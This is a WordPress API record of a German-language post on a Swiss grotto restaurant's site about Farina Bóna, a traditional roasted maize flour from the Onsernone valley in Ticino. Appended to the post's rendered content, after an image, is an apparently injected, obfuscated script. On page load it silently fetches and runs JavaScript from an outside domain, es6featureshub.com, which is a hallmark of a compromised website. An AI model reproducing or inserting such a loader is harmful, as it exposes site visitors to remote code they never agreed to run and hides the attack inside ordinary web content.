{"id":1612,"date":"2023-04-25T13:43:44","date_gmt":"2023-04-25T11:43:44","guid":{"rendered":"https:\/\/grottoalritrovo.ch\/la-farina-bona\/"},"modified":"2025-10-31T02:31:45","modified_gmt":"2025-10-31T01:31:45","slug":"la-farina-bona","status":"publish","type":"post","link":"https:\/\/grottoalritrovo.ch\/de\/la-farina-bona\/","title":{"rendered":"La Farina B\u00f3na"},"content":{"rendered":"\n<p>https:\/\/www.farinabona.ch\/<br\/><br\/>B\u00f3na-Mehl ist ein traditionelles Produkt aus dem Onsernone-Tal (Kanton Tessin). Es handelt sich um ein Maismehl (Zea-Mais), das durch sehr feines Mahlen des zuvor ger\u00f6steten Korns gewonnen wird. Fr\u00fcher wurde der Speiseplan der Onsernonesen t\u00e4glich mit Milch, Wasser oder Wein erg\u00e4nzt. Die Ver\u00e4nderung der Essgewohnheiten nach dem Zweiten Weltkrieg f\u00fchrte zu einem allm\u00e4hlichen R\u00fcckgang seiner Bedeutung. Die Produktion wurde dann Ende der 1960er Jahre (des 20. Jahrhunderts) vollst\u00e4ndig aufgegeben, nachdem die letzten M\u00fcller aus Onsernonese (Annunciata Terribilini und Remigio Meletta) ihre T\u00e4tigkeit eingestellt hatten. Nach der Restaurierung der Loco-M\u00fchle durch das Museo Onsernonese im Jahr 1991 gelang es, dieses alte Produkt wieder ins Ged\u00e4chtnis zu rufen und seine Herstellung zaghaft wiederzubeleben. Zehn Jahre sp\u00e4ter haben die Aufnahme in die &#8222;Arche des Geschmacks&#8220; von Slow Food, das Engagement einiger Privatpersonen und die Beteiligung des Schulinstituts Vallerone es erm\u00f6glicht, die historischen Kenntnisse zu vertiefen, die Voraussetzungen f\u00fcr eine Produktionssteigerung zu schaffen und die Farina b\u00f3na \u00fcber die Grenzen des Onsernone-Tals hinaus bekannt zu machen.<\/p>\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"https:\/\/grottoalritrovo.ch\/wp-content\/uploads\/sites\/60\/2023\/04\/far-768x1024.jpg\" alt=\"\" class=\"wp-image-1614\" srcset=\"https:\/\/grottoalritrovo.ch\/wp-content\/uploads\/sites\/60\/2023\/04\/far-768x1025.jpg 768w, https:\/\/grottoalritrovo.ch\/wp-content\/uploads\/sites\/60\/2023\/04\/far-225x300.jpg 225w, https:\/\/grottoalritrovo.ch\/wp-content\/uploads\/sites\/60\/2023\/04\/far-300x400.jpg 300w, https:\/\/grottoalritrovo.ch\/wp-content\/uploads\/sites\/60\/2023\/04\/far.jpg 964w\" sizes=\"(max-width: 768px) 100vw, 768px\" \/><\/figure><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>https:\/\/www.farinabona.ch\/ B\u00f3na-Mehl ist ein traditionelles Produkt aus dem Onsernone-Tal (Kanton Tessin). Es handelt sich um ein Maismehl (Zea-Mais), das durch sehr feines Mahlen des zuvor ger\u00f6steten Korns gewonnen wird. Fr\u00fcher wurde der Speiseplan der Onsernonesen t\u00e4glich mit Milch, Wasser oder Wein erg\u00e4nzt. Die Ver\u00e4nderung der Essgewohnheiten nach dem Zweiten Weltkrieg f\u00fchrte zu einem allm\u00e4hlichen R\u00fcckgang [&hellip;]<\/p>\n","protected":false},"author":13,"featured_media":1606,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","footnotes":""},"categories":[27],"tags":[],"class_list":["post-1612","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-anbieter"],"acf":[],"_links":{"self":[{"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/posts\/1612","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/users\/13"}],"replies":[{"embeddable":true,"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/comments?post=1612"}],"version-history":[{"count":1,"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/posts\/1612\/revisions"}],"predecessor-version":[{"id":2581,"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/posts\/1612\/revisions\/2581"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/media\/1606"}],"wp:attachment":[{"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/media?parent=1612"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/categories?post=1612"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grottoalritrovo.ch\/de\/wp-json\/wp\/v2\/tags?post=1612"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}